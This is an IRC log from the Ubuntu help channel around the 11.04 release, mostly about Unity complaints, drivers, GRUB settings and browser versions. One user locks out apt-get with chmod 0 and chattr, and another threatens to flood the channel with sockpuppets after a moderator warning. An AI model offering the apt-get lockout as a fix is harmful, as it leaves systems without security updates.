[06:45] <Guest94653> sorry for bad english, but I'm having problems with the file libgtk-1.2.so.0, someone help me?
[06:45] <richiefrich> Taint_: the icons and the panels are not even editable
[06:45] <_genuser_> richiefrich: nice to see someone from gentoo chan. :) I'm using netbuntu on a netbook and it's the unity thing that's bugging me too. I upgraded from 10.04 to 10.10 and now I don't like unity. Upgrading to 11.04 to be able to use newer autohide crap....
[06:45] <tmp__> daniel_ sudo apt-get --purge remove b43-fwcutter
[06:45] <richiefrich> _genuser_: that is it, i dont want it, so now i will never upgrade
[06:45] <daniel_> tmp__, yes i use a notebook
[06:46] <naptastic> I just upgraded to Natty. How do I change the number of workspaces?
[06:46] <Taint_> richiefrich: Well I just started using linux ubuntu recently, so far it is nice. I used OSX cause my mom is a big OSX fan I don't know must be a woman thing
[06:46] <richiefrich> _genuser_: i know i can bnlock it but i am used to emerge not apt-get
[06:46] <tmp__> daniel_ and install b43-fwcutter
[06:46] <rage> Is anyone else experience a bug where text that compiz should be displaying is missing? e.g when alt-tabbing the window title should be disabled. I have two machines freshly upgraded to 11.04 with this bug
[06:46] <rage> *displayed
[06:46] <tmp__> daniel_ go to additional drivers and activate them< if it not activation
[06:47] <_genuser_> my the rain storm is kicking my internet in/out.
[06:47] <richiefrich> Taint_: http://www.splitbrain.org/blog/2010-10/25-ubuntu_unity_sucks
[06:47] <richiefrich> Taint_: see it is no good
[06:47] <CoinOp> Here is a photo of my issue if anyone can help http://i.imgur.com/Q0DEW.jpg   I cannot get past this. Any help would be wonderful thank you.
[06:47] <bazhang> richiefrich, lets take this to #ubuntu-offtopic
[06:47] <daniel_> tmp__, ok i did everything u said and it says its activated
[06:48] <tmp__> daniel_ your version of linux?
[06:48] <daniel_> tmp__, ubuntu 11.04 natty
[06:48] <tmp__> daniel_ i dont know, it may not work in natty
[06:48] <rage> Could anyone running 11.04 please alt-tab and tell me if the window titles are appearing in the app switcher correctly?
[06:49] <rage> I have three machines doing it and I would like to know its not just me
[06:49] <daniel_> tmp__, i hate natty :(
[06:49] <tmp__> daniel_ see https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx
[06:49] <cmdbbq> I am a bit new to unity (it didn't run well on my netbook in the last release, but it does now) I have a few questions about it to help me get it set up . first off, I was able to swap banshee for rhythmbox in the sound meenu, but i am having trouble accomplishing the same effect with empathy/pidgin in the messaging menu. can anyone help me to do this?
[06:50] <thelorax> can anyone tell me how to reset my "panel" in terminal?
[06:50] <thelorax> i cant see my applications menu or anything
[06:50] <_genuser_> cmdbbq: in the new toolbar?
[06:50] <tmp__> daniel_ and you may to try sta driver
[06:50] <ZykoticK9> !panels | thelorax
[06:50] <ubottu> thelorax: To reset the GNOME panel to defaults, type this in a !terminal: « gconftool --recursive-unset /apps/panel && killall gnome-panel »
[06:50] <_genuser_> cmdbbq: just drag the thing you want off, off ot the side till is shows you X. it will remove it.
[06:50] <Taint_> richiefrich: Fuck Unity. Godamnit why is Ubuntu starting to suck! FUCK!!!!!!!!!!!!!!!!!
[06:51] <bear_> hi ever one
[06:51] <_genuser_> the main thing with unity on a netbook is it's trying to command 1" of a 10" screen. don't care what the devs were thinking, they were wrong.
[06:51] <eiriksvin> how do i get Natty to stop loading in the top left?
[06:51] <Viking667> eiriksvin: hmm? how do you mean?
[06:52] <cmdbbq> _genuser_: i am speaking of the revamped notification are, and my side panel autohides or else it would have been a dealbreaker
[06:52] <eiriksvin> all the programs load in the top left, and the new natty bar keeps dissappearing, i want to change those 2 thing
[06:52] <richiefrich> so no way to block unity?
[06:53] <_genuser_> cmdbbq: that's why I'm upgradin to autohide the sidepanel.
[06:53] <linux_probe> hmm
[06:53] <_genuser_> cmdbbq: don't even know about the revamp on the auto notification area.
[06:53] <thelorax> thelorax@ubuntu:~$ gconftool--recursive-unset/apps/panel&&killall gnome-panel
[06:53] <thelorax> bash: gconftool--recursive-unset/apps/panel: No such file or directory
[06:53] <thelorax> thelorax@ubuntu:~$
[06:53] <bazhang> richiefrich, choose classic at the login window
[06:53] <thelorax> ? am i typing it wrong?
[06:53] <eiriksvin> i want everything to load in the center, and i want the natty bar to stay there, how to i fix that?
[06:54] <rage> I think there is a bug with alt-tab in 11.04? Could someone please press alt-tab and confirm it for me?
[06:54] <rage> The titles of the windows should be displayed
[06:54] <rage> but they're not
[06:54] <thelorax> eiriksvin:are you having problems seeing your topbar?
[06:54] <_genuser_> richiefrich: http://askubuntu.com/questions/6302/how-can-you-remove-unity
[06:54] <Viking667> rage: titles displayed where?
[06:54] <katselphrime> yep im having same problem w/ rage
[06:55] <_genuser_> richiefrich: haven't tried that yet. STill upgrading to 11.04.
[06:55] <rage> Viking667: The window title should be displayed immediately under the selected application when you alt tab
[06:55] <Atomicspin> Wireless was working fine in 10.10, now it's not in 11.04
[06:55] <Atomicspin> I have the STA drivers installed.
[06:55] <Viking667> ahh, no i don't get that either.
[06:55] <thelorax> rage:can you see your top menu bar?
[06:55] <Viking667> I get the icon for the application showing on the snapshot window though...
[06:55] <rage> thelorax: I'm not running unity
[06:55] <eiriksvin> try switching an app to another workspace then alt tab
[06:55] <Viking667> Oh. I am.
[06:55] <Viking667> sorry...
[06:56] <rage> Viking667: So you are getting the title?
[06:56] <Viking667> rage: which application switcher are you using?
[06:56] <rage> Viking667: Static application switcher
[06:56] <Viking667> ANd I'm using Unity, I don't get the title of the window.
[06:56] <rage> Viking667: However the problem is compiz wide
[06:56] <Viking667> ahhhhh. I'm not using static. I can start it up and try that out.
[06:56] <Viking667> brb
[06:56] <ZykoticK9> thelorax, are you using 11.04?
[06:56] <Viking667> ah huh.
[06:56] <thelorax> rage: im new to all this..i just upgraded from 10.0 or whatever..and now i cant see my menu bar at the top where i chose my applications and such
[06:57] <rage> Viking667: All of compiz seems incapable of display text
[06:57] <Viking667> Checked your theme?
[06:57] <ZykoticK9> thelorax, disregard the !panel factoid then!
[06:57] <thelorax> ZykoticK9: yeah i just upgraded from 10.0 or whatever
[06:57] <rage> Viking667: I have two vanilla machines display these symptoms. One ati the other nvidia
[06:58] <thelorax> ZykoticK9: and now i cant see my menu bar on the top of the screen that used to be there in 10.0 so i could choose from my applications or go to my software center or change my backround and themes and all that
[06:58] <_genuser_> richiefrich: you see the link?
[06:58] <ZykoticK9> thelorax, welcome to unity ;)
[06:58] <rage> Viking667: I'm hoping its not just me who has this bug
[06:59] <rage> Viking667: So Compiz text display okay for you?
[06:59] <Viking667> Yup. I can concur that with the "Static application switcher" I don't see titles either.
[06:59] <rage> Viking667: Okay, phew,
[06:59] <Viking667> ATI card, HD3450
[06:59] <richiefrich> _genuser_: yeah
[06:59] <Viking667> ... if we're talking about the snapshots
[06:59] <richiefrich> _genuser_:  one last thing, if you know
[06:59] <rage> Viking667: Yeah, its very annoying. I use Scale Window Title filter frequently, its nearly useless if you cant see any text
[06:59] <richiefrich> _genuser_: how can i get it to stop asking me if i wanna upgrade
[07:00] <richiefrich> _genuser_: i dont see that in cron
[07:00] <thelorax> ZykoticK9: FUK! haha...i just want my old ubuntu back..how can i go about getting my menubar to show..or how do i use my applications..i can only see my desktop icons and my "dockY" at the bottom..so the only applications i have access to are the ones saved in my docky
[07:00] <richiefrich> i dont want to click yes on accident
[07:00] <ZykoticK9> thelorax, i repeat - welcome to unity.  I've stopped using Ubuntu because of Unity myself.  Good luck.
[07:01] <thelorax> what do you use now?
[07:01] <thelorax> i dont want to go back to windows
[07:01] <fisix> why does plugging in my ethernet cord not change the wifi icon in the indicator applet panel?
[07:01] <ZykoticK9> thelorax, debian / trisquel
[07:01] <Viking667> fisix: why should it?
[07:01] <Garry> richiefrich. Do u see ? Don't Upgrade, Ask later, Upgrade
[07:01] <fisix> Viking667, it used to change to an up/down arrow
[07:02] <fisix> Viking667, after updating to 11.04 with classic gnome, it does not
[07:02] <richiefrich> Garry: i see that, but i mean i dont even want it to ask
[07:02] <thelorax> ZykoticK9:how do i switch without altering my files on ubuntu? is that possible?
[07:02] <Viking667> oh. Then I apologise. I thought it'd not change because it's wireless, and you'd plugged in a wired link.
[07:02] <Mrokii> hello. I have heard to Gnome 3 will break Unity and/or Compiz. But will it also break the "Ubuntu Classic"-GUI (where I use compiz).
[07:02] <richiefrich> like ever
[07:02] <richiefrich> oh i know
[07:02] <ZykoticK9> thelorax, have you tried "Classic Mode" from the GDM screen?
[07:02] <richiefrich> ill disable apt-get
[07:02] <_genuser_> richiefrich: lol, that upgrade part I don't know. In the update-manager windows in Settings, you can at least set it to only show LTS release or something. I think that's for upgrade. For updates, I guess I just always say no....
[07:03] <neil_> I am having trouble setting up a proxy for 'Transmission' torrent program.. I found this list http://torrentproxy.org/ ... I have tried several .. when I click on the 'download' torrent button I still get the "/tmp/xxx.part could not be saved, because the source file could not be read." error
[07:03] <Viking667> for updates/upgrades, don't run into the problem I ran into a while ago... couldn't upgrade packages because the release was no longer present at any of the Ubuntu mirrors.
[07:04] <fisix> Viking667, oh haha that's alright. any idea on wat to do?
[07:04] <richiefrich> _genuser_:  chmod 0 /usr/bin/apt-get /usr/bin/aptitude-curses ; chattr +ai  /usr/bin/apt-get /usr/bin/aptitude-curses
[07:04] <richiefrich> _genuser_: i fixed it
[07:04] <thelorax> ZykoticK9: GMD screen?
[07:04] <foodstamp> Viking667  so i should sty on main server?
[07:04] <Hoyt> anyone here using GrSecurity kernel patch ?
[07:05] <_genuser_> richiefrich: lol. There's the Startup Application Preferences. That has a line saying Update Notifier, you can uncheck that too.
[07:05] <richiefrich> _genuser_: i will fix it on my own, like that :P
[07:05] <ZykoticK9> thelorax, GDM = the login screen, select your user name, then at the bottom click Session
[07:05] <richiefrich> _genuser_: where is that
[07:05] <_genuser_> richiefrich: that fix will work nice too. :)
[07:05] <thelorax> ok ill try
[07:05] <thelorax> brb
[07:05] <richiefrich> _genuser_:   There's the Startup Application Preferences. ??
[07:05] <richiefrich> _genuser_: i see it
[07:05] <_genuser_> richiefrich: from unity, Applications -> System -> Startup Application Preferences
[07:06] <aLeSD> hi ... why ubuntu 11.04 doesn't follow gconf-editor configurations ?
[07:06] <eiriksvin> whats the name of the program i gotta download to stop the launcher from moving and or disappearing?
[07:06] <nit-wit> aLeSD, ?
[07:06] <cmdbbq> so that is a no on adding pidgin to the messaginn menu on right side of the top panel thing? my second question is this then, the top panel thing shows the name of the focused window, but can be made to switch to the menu bar for said window via the alt key or moving the mouse over it. I want it to always be the menu bar. possible?
[07:06] <fisix> does anybody know why ifconfig shows a connection for eth0 but iwconfig doesn ot?
[07:06] <aLeSD> nit-wit: I set panel to avant-window-navigator but gnome-panel is still there
[07:07] <richiefrich> _genuser_: nice
[07:07] <_genuser_> fisix: iwconfig shows wireless ones, no?
[07:07] <aLeSD> nit-wit: I remove the panel entry and gnome-panel is still there
[07:07] <_genuser_> richiefrich:  you like? :)
[07:07] <richiefrich> _genuser_: i do, i am so not used to gui's
[07:07] <_genuser_> richiefrich: getting ready to reboot and see what 11.04 looks like and then disable unity if possible....
[07:07] <eiriksvin> whats the name of the program i gotta download to stop the launcher from moving and or disappearing?
[07:08] <richiefrich> _genuser_: good luck
[07:08] <richiefrich> _genuser_: just chaneg from gnome, to like awesome
[07:08] <debrisrat> hi!
[07:08] <_genuser_> richiefrich: hehe, I would really use gentoo on the netbook that's why I bought it, to play with gentoo more for lean setup. but then I thought who wants to compile gtk on a 1.66GHz single core....
[07:09] <richiefrich> _genuser_: use archlinux
[07:09] <nit-wit> aLeSD, not sure what you have done but here is the installation wiki.http://wiki.awn-project.org/Installation
[07:09] <richiefrich> it is nice and fast for a netbook
[07:09] <fisix> _genuser_, yeah the wireless is shown
[07:09] <nit-wit> aLeSD, I have never used awn sorry,
[07:10] <aLeSD> nit-wit: thanks anyway
[07:10] <_genuser_> richiefrich: would be fun those to install gentoo using distcc with a faster one around. :)
[07:11] <rick_2047> hey guys have acer 5742G and everything working just great but the internal mic is not working
[07:11] <rick_2047> it is detected by aplay
[07:11] <drhe1skt> so unity any good? are people staying with gnome?
[07:12] <thelorax> ZykoticK9: THANK YOU! it worked!
[07:12] <Garry> richiefrich. Have sorted to disable upgrade option yet?
[07:12] <rage> drhe1skt: Staying with Gnome here.
[07:12] <richiefrich> _genuser_: install it in a chroot on the main box and then just rsync it. I mean use sys-devel/crossdev
[07:12] <thelorax> ZykoticK9: classic mode homie
[07:12] <richiefrich> Garry: yes ty
[07:12] <ZykoticK9> thelorax, glad to help
[07:13] <eiriksvin> whats the name of the program i gotta download to stop the launcher from moving and or disappearing? it had Unity in the name i know that
[07:13] <_genuser_> richiefrich: I guess most of the things would work fine that way. Using rsync... the wifi stuff is the only thing to worry about....
[07:13] <drhe1skt> rage, did you check out unity though?
[07:13] <_genuser_> richiefrich: cool idea
[07:13] <richiefrich> _genuser_: trye
[07:13] <richiefrich> true
[07:13] <DrMax> celthunder : still there?
[07:13] <rage> drhe1skt: Still using it on my main desktop.
[07:14] <rage> drhe1skt: However until its stable, I'm not staying with it
[07:14] <_genuser_> richiefrich: if the wifi is supported in kernel, it would be super.
[07:14] <_genuser_> well then, mission gentoo might be a go.
[07:14] <rage> drhe1skt: I'll give it another go when 12.04 LTS comes out, hopefully the bugs will be sorted by then
[07:15] <MadRobot> Hi all.
[07:15] <thelorax> yo
[07:16] <Scall> What version of Firefox uses Ubuntu 10.04 LTS? (sorry for my English)
[07:16] <richiefrich> _genuser_: only thing i would like on this is FF4
[07:16] <richiefrich> _genuser_: but i can install that manually
[07:16] <richiefrich> _genuser_: since i diabled apt-get
[07:17] <_genuser_> richiefrich: FF4 is out already?
[07:17] <MadRobot> I'm having this weird problem with changing the keyboard lay-out. I use the the Alt-Shift combination to change the layout. I can change it from USA to Arabic (the second language), but when I try to change it back it doesn't work unless I do that manually with the mouse. How do I fix that?
[07:17] <_genuser_> only if there was internet explorer for linux that worked fast.
[07:17] <richiefrich> _genuser_: it might be in beta
[07:18] <MadRobot> _genuser_, FF4 is awesome if you ask me?
[07:18] <MadRobot> ahh, ignore the question mark..
[07:18] <_genuser_> I really like FF3 on linux. Just that I'm used to IE8 on my win machine and switching between the two is kinda one of those things where I want to just have the same browser.
[07:19] <_genuser_> but FF is pretty cool in what it does. it has definitely beat chromium into it's place
[07:19] <htek> what the hell would someone use IE for
[07:19] <htek> you like zeus?
[07:19] <MadRobot> htek, Exactly.
[07:20] <_genuser_> I use windows also and IE is already on it. And it just works. better than any other browser on there. So I use it.
[07:20] <mysteriousdarren> _genuser_: why IE? most people hate it
[07:20] <MadRobot> So can anybody please help me with me layout problem?
[07:20] <_genuser_> meh, I don't really worry about what someone might think of it. It just works and works nice.
[07:21] <_genuser_> now like FF works the best on linux. and I tried chromium and again use FF. 'coz chromium was just blah.
[07:21] <_genuser_> last command of an upgrade... says upgrade has failed.
[07:21] <_genuser_> 2hrs spend for .... no upgrade.
[07:21] <_genuser_> argh!!!!
[07:21] <mathews> -genuser: this is not a place to make windows slogan.Pls leave this place for Ubuntu lovers
[07:22] <_genuser_> mathews: oh you and your fake ubuntu love. We were just discussing browsers and I explained why I use IE. put a sock it bud.
[07:22] <MadRobot> I can change my layout from English to the other language using the keyboard, but I can't change it back unless I do it with the mouse. What could be the problem?
[07:22] <DrMax> my nfs mount (still recovering from upgrade to 11.04) shows all file owners as 4294967294 (-2)
[07:22] <DrMax> how do I fix this?
[07:23] <alokar> Hello, I'm running 10.10 and would like to go for firefox 4.0. How do I do that?
[07:23] <ZykoticK9> alokar, mozilla PPA
[07:23] <richiefrich> _genuser_: sudo apt-get install lubuntu-desktop
[07:23] <richiefrich> _genuser_: i guess it is the old school
[07:24] <richiefrich> _genuser_: maybe not
[07:24] <_genuser_> richiefrich: lol, the upgrade failed and I gotta now figure out if the system is usable lol.
[07:24] <alokar> ZykoticK9,  I googled, is this one? ppa:ubuntu-mozilla-daily/ppa
[07:24] <_genuser_> only if there was a way to reboot without doing that.
[07:24] <richiefrich> _genuser_: really, how did it fail
[07:25] <ZykoticK9> alokar, i couldn't tell you for sure, but i'm sure that would work - i believe there is a stable (vs daily build) PPA though
[07:25] <alokar> ZykoticK9,  Or do you have a good link I can check out.
[07:25] <_genuser_> lol, new message upgrade complete. right after message saying upgrade failed. it will not run rollback package cleaner some thing.
[07:25] <alokar> ZykoticK9,  	4.0~b13~hg20110323r63531+nobinonly-0ubuntu1~umd1    isn
[07:25] <alokar> ZykoticK9,  isn't this a beta?
[07:25] <_genuser_> richiefrich: it just said some stuff was probably unstable didn't say why it failed. the main thig that failed that I saw was samba. let's just hope it was the only package.
[07:26] <ZykoticK9> alokar, the daily ppa is built each night
[07:26] <mathews> alokar: https://launchpad.net/~ubuntu-mozilla-daily/+archive/ppa
[07:26] <alokar> ZykoticK9,  I found some info on help.ubuntu.com Thanks:)
[07:27] <Romance> do you like 11.04?
[07:27] <richiefrich> no
[07:27] <ZykoticK9> Romance, a question for #ubuntu-offtopic
[07:27] <OsamaDeadYay> how long will 10.04 be supported, security-update-wise?
[07:28] <richiefrich> thats a year old now
[07:28] <richiefrich> over
[07:28] <ZykoticK9> OsamaDeadYay, for desktops until 2013 April or so
[07:28] <elky> OsamaDeadYay, Please change your nickname if you wish to continue using this channel
[07:28] <OsamaDeadYay> ZykoticK9: and after that I'm on my own?
[07:29] <ZykoticK9> OsamaDeadYay, after that?  I guess so?!?!
[07:29] <OsamaDeadYay> elky: oh, so you can talk, and not only ban without saying anything like in #ubuntu-offtopic.
[07:29] <elky> OsamaDeadYay, "no" and "just, no" count as commenting. It's not my fault you ignored that.
[07:29] <elky> OsamaDeadYay, now, change that nickname or you're out of here.
[07:30] <IdleOne> OsamaDeadYay: if you have a problem with the ban issued in -ot join #ubuntu-ops to discuss it. Please remember that we do have !guidelines and !codeofconduct.
[07:30] <OsamaDeadYay> elky: no, I'll return with a few hundred copies of mine and we'll see who wins. :)
[07:30] <KNUBBIG> you certainly won't
[07:31] <KNUBBIG> so silent :o
[07:32] <tbf> how again do i re-arrange launchers in the sidebar?
[07:32] <tbf> ...thought i've done it once, but cannot remember how
[07:32] <richiefrich> what panel are you using
[07:32] <tbf> richiefrich: the unity thing
[07:32] <richiefrich> oh then idk
[07:32] <richiefrich> i dont think you can move things around
[07:33] <richiefrich> at this time, could be wrong
[07:33] <bullgard4> How does MetaCity change if I assert in gconf-editor: apps->metacity->general->compositing_manager? (I did read http://en.wikipedia.org/wiki/Compositing)
[07:33] <richiefrich> you used to be able to right click
[07:33] <tbf> richiefrich: pretty sure i did
[07:33] <kezzawd> alokar - try this - http://bit.ly/knlNcZ
[07:33] <KNUBBIG> richiefrich: I think you're mostly right, you can change some but not all
[07:33] <richiefrich> KNUBBIG: yeah you cant even put the launcher on the bottom
[07:33] <linux_probe> teh richiefrich ish teh failz
[07:33] <richiefrich> or top
[07:33] <kezzawd> tbf - do you have Ubuntu Tweak installed
[07:33] <richiefrich> KNUBBIG: needs to be on the side
[07:34] <tbf> ...but right now right click pans that dock
[07:34] <tbf> kezzawd: wtf... ubuntu also comes with such mess now?
[07:34] <tbf> are we back at windows 95?
[07:34] <tbf> (with it's infamous tweak ui)
[07:34] <linux_probe> win 3.1!
[07:34] <KNUBBIG> I think there was something you could do but I can't find it anymore
[07:34] <kezzawd> tbf - if you have Ubuntu Tweak then make sure you have show desktop icons checked
[07:34] <bullgard4> !enter | tbf
[07:34] <ubottu> tbf: Please try to keep your questions/responses on one line. Don't use the "Enter" key as punctuation!
[07:35] <kezzawd> that will stop right-click on desktop if not checked
[07:35] <xion56> how do I make share internet connection with playstation 3 with Linux Mint? (with is based in ubuntu)  I have put ethernet cable between them
[07:36] <kezzawd> tbf you can re-arrange all launchers by dragging them off and then replacing them where you want
[07:36] <tbf> ubottu: emotions. emotions. it __really__ upset's me that suddenly both unity and gnome-shall resort to ux mess like windows 95's tweak ui. it's a really bad sign.
[07:36] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[07:37] <tbf> kezzawd: "dragging off".... hmm.... let's see
[07:37] <KNUBBIG> kezzawd: woot? Since when can I drag the launcher icons?
[07:37] <bullgard4> xion56: Please put this question in a Linux Mint channel. This is #ubuntu.
[07:37] <KNUBBIG> kezzawd: lol thanks
[07:37] <kezzawd> KNUBBIG my pleasure
[07:37] <Josesordo> I can use compiz and some docky in XFCE?
[07:37] <tbf> kezzawd: that was the trick! thanks alot!
[07:38] <xion56> bullgard4: I have tried there, I figured if here people can help as its based in ubuntu
[07:38] <ZykoticK9> Josesordo, i was just looking at http://www.ghacks.net/2010/07/11/run-compiz-with-xfce4/
[07:38] <tbf> so now i only have to figure out how to edit launchers, unity imported from gnome shell. have one with horribly upscaled icon.
[07:39] <Josesordo> ZykoticK9, xfce4 is with xubuntu 11.04?
[07:39] <tbf> well, alternative: how do i add custom launchers (without pre-installed .desktop file)
[07:39] <ZykoticK9> Josesordo, ?
[07:39] <kezzawd> tbf - try right-click to remove launcher, then open the application and pin the launcher again ?
[07:40] <tbf> kezzawd: don't have a desktop file for this app... but let's try
[07:40] <Josesordo> ZykoticK9, its ok.. google answered me xD
[07:41] <bear_> hi   is theere  a " all in one codec  pack"?
[07:41] <tbf> kezzawd: no, that's the wrong instance
[07:41] <IdleOne> bear_: ubuntu-restricted-extras
[07:42] <cmdbbq> ok, i got pidgin into the messaging menu by enabling the libnotify plugin, now i just need to get empathy (listed as "chat") to go away. any ideas on how i would do that?
[07:42] <bullgard4> bear_: No.
[07:42] <tbf> kezzawd: (not surprisingly) took the app it found in path (or however) - not the shell script
[07:42] <richiefrich> tbf: lol switch to xface :P
[07:43] <richiefrich> XFCE
[07:43] <richiefrich> i mean
[07:43] <KNUBBIG> anybody knows why eclipse in the repos is still 3.5 not 3.6?
[07:43] <kezzawd> tbf - try this thread - half way down - http://bit.ly/msZLwR
[07:43] <ZykoticK9> bear_, if u-r-e doesn't have what you're looking for check out w32codec (or w64codec) from Medibuntu
[07:43] <tbf> richiefrich: why? unity is pretty cool. just needs a bit polish. guess we finally have to admit, mark is a visionary
[07:43] <M13up> Umm, just put on ubuntu 11.4, looks OK.  where do i get the admin menu from?
[07:44] <richiefrich> tbf: oh i wasnt a fan
[07:44] <bear_> will that cover most of it , and its there more of them , i dont feel like trying to mess up on this oreder for this customer...
[07:44] <jamzed> Is somebody have a problem with iPhone tethering on Ubuntu 11.04? Look's like problem with DHCP server.
[07:44] <kezzawd> M13up Hit super key then check out the dropdown menu you see to the right
[07:45] <kezzawd> M13up - take that back sorry - if you get the application 'lens' up then you should see a dropdown menu to the right
[07:45] <M13up> kezzawd: I have shortcuts from super, and a dock on the left.
[07:46] <M13up> kezzawd: is there still a menu for admin tools and another for applications i can access.
[07:46] <ZykoticK9> bear_, u-r-e should cover "most" of it
[07:47] <bear_> then what am i missing?
[07:47] <keefer> wow
[07:48] <keefer> unity looks nice
[07:48] <keefer> hm
[07:48] <Fukkem> oh
[07:48] <linuxuz3r> there are tons of website that has ios app reviews
[07:48] <linuxuz3r> is there an app review for linux apps
[07:48] <Rehan> what does the vga=795 mean in grub kernel options?
[07:48] <tbf> richiefrich: of unity or mark? :-D about unity? sure, not entirely polished yet - what do you expect for a first release. but then a big step forward over the old panel and much saner ux story than gnome-shell
[07:49] <cmdbbq> M13up: if you click the ubuntu logo or tap super you get an integrated menu geared towards search and then as you type stuff in it will find whatever program you want
[07:49] <ZykoticK9> Rehan, vga= is deprecated
[07:49] <richiefrich> tbf: yeah unity
[07:49] <richiefrich> tbf: i just switched to another window manager
[07:49] <kezzawd> M13up: the closest I've come to it is the method I described - although I prefer to just hit 'Super' and then type the name of the application / tool I want followed by return
[07:49] <cmdbbq> or there is an "applications" entry in the dock on the left and you can look for see all applications or something like that
[07:49] <Rehan> ZykoticK9: how comes its in there by default? should I just remove it? I don't want my resolution to be 795 if thats what it does
[07:49] <tbf> very big fan of how it turns each maximized app into some kind of full screen app, by moving titlebar and menubar into the top panel
[07:49] <mathews> linuxuz3r: http://linux.softpedia.com/
[07:50] <cmdbbq> installed: 91 more results is what it says M13up
[07:50] <tbf> → goodbye F11 fullscreen shortcut, you  are redundant now
[07:50] <Jordan_U> Rehan: It's a depricated way to pass information to grub about what video mode to set. GRUB_GFXPAYLOAD_LINUX in /etc/default/grub is the replacement and takes a simple resolution specified like "800x600".
[07:50] <ZykoticK9> Rehan, what version of ubuntu did you find that by default?  it's not directly translated to a 795 pixel resolution BTW.
[07:50] <M13up> cmdbbq: yeh but sometimes i want something i can't remeber the name of.
[07:50] <dualcore> 11.04 doesn't see a partition on another hard drive that i need access too. i think it has my old users permissions
[07:50] <Rehan> ZykoticK9: 11.04
[07:50] <tbf> kezzawd: feared i'd have to manually create a .desktop file. well. ok.
[07:51] <ZykoticK9> Rehan, lol figures.
[07:51] <bullgard4> Rehan: You can change it to another value.
[07:51] <_genuser_> ok that's the last time I do upgrade on ubuntu.
[07:51] <_genuser_> after 11.04 upgrade when I log it, it
[07:51] <M13up> Also for someone new to the features of ubuntu they don't have the chance to play with items. they have to find them a very hard way. it's nice just to see the admin tools in a list sometimes.
[07:51] <nat__> hello
[07:52] <_genuser_> ust shows a black background and nothing. Anybody seen that before and how to fix it?
[07:52] <Rehan> bullgard4: i can comment out GRUB_CMDLINE_LINUX and instead put in GRUB_GFXPAYLOAD_LINUX ?
[07:52] <kezzawd> tbf - if you right click desktop and use 'Create Launcher' it's simpler - then you just need to move the launcher created into .local/share/ applications, and then drag it out of that location into the dock - it works
[07:52] <_genuser_> having ot login to netbuntu 2D session.
[07:52] <ZykoticK9>  _genuser_ i don't think many of the experienced users in this channel would recommend upgrading ubuntu.
[07:52] <kezzawd> tbf: for dock read launcher lol (OSX !!!)
[07:52] <bullgard4> Rehan: I did not implay that.
[07:52] <bullgard4> Rehan: I did not imply that.
[07:52] <bear_> whats the command to plaay dvds... the ones you get at the store
[07:52] <cmdbbq> M13up: I don't know how to get the old catagories view, if that is even still possible, but Applications on the menu bar and then clicking on where it says see more results next to installed should get you a full list to look at
[07:52] <_genuser_> ZykoticK9: lol, I wouldn't either now. I'm experienced too.
[07:52] <_genuser_> now.
[07:52] <bear_> libdvdcss2
[07:53] <Rehan> Jordan_U: : i can comment out GRUB_CMDLINE_LINUX and instead put in GRUB_GFXPAYLOAD_LINUX ?
[07:53] <bp0> yes, upgrading is a mistake
[07:53] <Jordan_U> Rehan: What are you trying to accomplish?
[07:53] <_genuser_> now, important topic.
[07:53] <_genuser_> does anyone know how to downgrade?
[07:53] <_genuser_> to 10.10?
[07:53] <tbf> kezzawd: thank you
[07:53] <nat__> how do i change name
[07:53] <_genuser_> short of install fresh install from 10.10 media/
[07:53] <Rehan> Jordan_U: just cleaning up my grub file that i was editing around
[07:53] <KNUBBIG> !downgrade | _genuser_
[07:53] <ubottu> _genuser_: Attempting to downgrade to an older Ubuntu version is explicitly not supported and may break your system.
[07:53] <Jordan_U> !downgrade | _genuser_
[07:54] <tbf> hey, the x-chat icon shows when i got pinged on irc... sweet!
[07:54] <ZykoticK9> _genuser_, sure, downgrade = fresh install
[07:54] <_genuser_> ah, so basically ubuntu is too busy trying to be new windows they don't care about users....
[07:54] <_genuser_> check.
[07:54] <cmdbbq> M13up: on the left side dock, it looks like a magnifying glass with an addition sign in the lense
[07:54] <M13up> OK thanks everyone
[07:54] <_genuser_> thanks guys.
[07:54] <bullgard4> _genuser_: There is no "downgrade". You will need to re-install another Ubuntu release.
[07:54] <Jordan_U> Rehan: Then just remove "vga=795" and don't replace it with anything. It shouldn't be needed.
[07:55] <Rehan> Jordan_U: ok thanks, whats the 'splash' mean on the same line?
[07:55] <_genuser_> bullgard4: hehe, it's probably faster too. the upgrade took 4hrs from 10.04 to 10.10 and then 3 hr to 11.0.
[07:55] <Jordan_U> Rehan: Show a boot animation rather than scrolling text during boot.
[07:55] <d4gg3r> any aidea how to install this? libplds4.so.0d
[07:55] <d4gg3r> ?
[07:55] <Rehan> Jordan_U: very informative, thank you. Is quiet the opposite of splash?
[07:55] <KNUBBIG> Now that I read it, does the plymouth splash screen thingy still exist in natty? Doesn't seem to work for me
[07:55] <bullgard4> _genuser_: Yes. A quite common phenomenon.
[07:56] <phonex01> Oh god today they killed bin laden !!
[07:56] <Rehan> KNUBBIG: doesn't work for me either :) just see a black screen until the login screen
[07:56] <M13up> OH yeh it's possible from the super/icon browse section.
[07:56] <_genuser_> bullgard4: you konw I kept thinking on every update/upgrade waring ot just ignore it. and then I hit upgrade.
[07:56] <bp0> phonex01, yesterday.
[07:56] <phonex01> in my time it is today
[07:56] <Jordan_U> Rehan: No, quiet means to show less messages during boot. They generally go together.
[07:56] <M13up> you can change options search result on the right and select system.
[07:56] <bullgard4> _genuser_: I know this temptation too.
[07:56] <paspro> Question: Gwibber throws notification messages on the screen with twitter/facebook events. However, when I try to click on these notifications I they fade out. Is there any way for them to become clickable?
[07:56] <KNUBBIG> Rehan: I see my GRUB background and that's it :) but I think the opposite of splash is nosplash
[07:57] <cmdbbq> how do you go to the desktop/minimize all windows in unity?
[07:57] <M13up> then then a few come up you click system again and the full list will appear.
[07:57] <Rehan> KNUBBIG: yeah i see my grub page perfectly but then after that its black screen until login. Its because of stupid nvidia drivers or something from what I've read
[07:57] <MoL0ToV> hi to all! i just upgraded to 11.04, where i can find the normal/basic/advanced compiz graphics effects?
[07:57] <Jordan_U> !ccsm | MoL0ToV
[07:57] <phonex01> they just opened the hell gate in pakistan , they have no idea what they can do there ...... US gov did the most stupid thing that will really make them suffer ..
[07:57] <ubottu> MoL0ToV: To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[07:57] <Jordan_U> !ot | phonex01
